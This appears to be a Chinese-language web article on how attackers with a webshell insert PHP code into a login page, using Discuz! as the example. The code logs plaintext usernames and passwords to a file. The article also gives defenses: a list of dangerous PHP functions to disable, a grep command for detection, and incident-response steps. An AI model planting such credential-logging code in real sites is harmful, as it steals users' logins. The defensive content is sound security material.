首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP 截取後台登入帳密原理與防範(僅供安全研究)

     編輯:PHP 相關知識

⚠️ 法律與道德聲明

本文僅說明攻擊原理以利防禦,**嚴禁**用於非授權系統滲透、竊取帳號等非法行為。請遵守當地法律法規與網路安全道德規範。

攻擊原理

攻擊者取得 Webshell 後,修改登入頁面(或通用包含檔),在密碼驗證邏輯前插入記錄代碼,將明文帳密寫入日誌檔。

典型植入代碼

<?php
if (isset($_POST['loginsubmit'])) {
    $log = "user:{$_POST['username']}--pass:{$_POST['password']}--ip:{$_SERVER['REMOTE_ADDR']}--time:" . date('Y-m-d H:i:s') . "\n";
    @file_put_contents('robot.txt', $log, FILE_APPEND | LOCK_EX);
}
// 原本的驗證邏輯繼續執行...
?>

以 Discuz! 為例

  1. 找登入表單 action 指向的檔案(如 logging.php)
  2. 檢視表單欄位名稱:username、password
  3. 在驗證代碼前植入記錄邏輯

防禦措施

發現被植入怎麼辦

  1. 立即離線受影響伺服器
  2. 備份日誌與可疑檔案供鑑識
  3. 全盤掃描 Webshell(find /var/www -name "*.php" -exec grep -l "file_put_contents.*robot" {} \;)
  4. 重新部署乾淨代碼、修改所有帳號密鑰
  5. 根因分析:入侵路徑(弱口令、漏洞、供應鏈)並修補
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
層面措施
伺服器禁用危險函式 exec,system,shell_exec,passthru,popen,proc_open,com_load_typelib;開啟 open_basedir 限制目錄存取
應用程式檔案完整性監控(Tripwire/AIDE)、定期比對核心檔案雜湊、WAF 規則攔截可疑寫入
認證雙因子驗證 (2FA)、登入失敗鎖定、異地登入提醒、密碼加鹽雜湊 (bcrypt/argon2)
運維最小權限原則、Web 目錄不可寫入、定期掃描 Webshell、日誌審計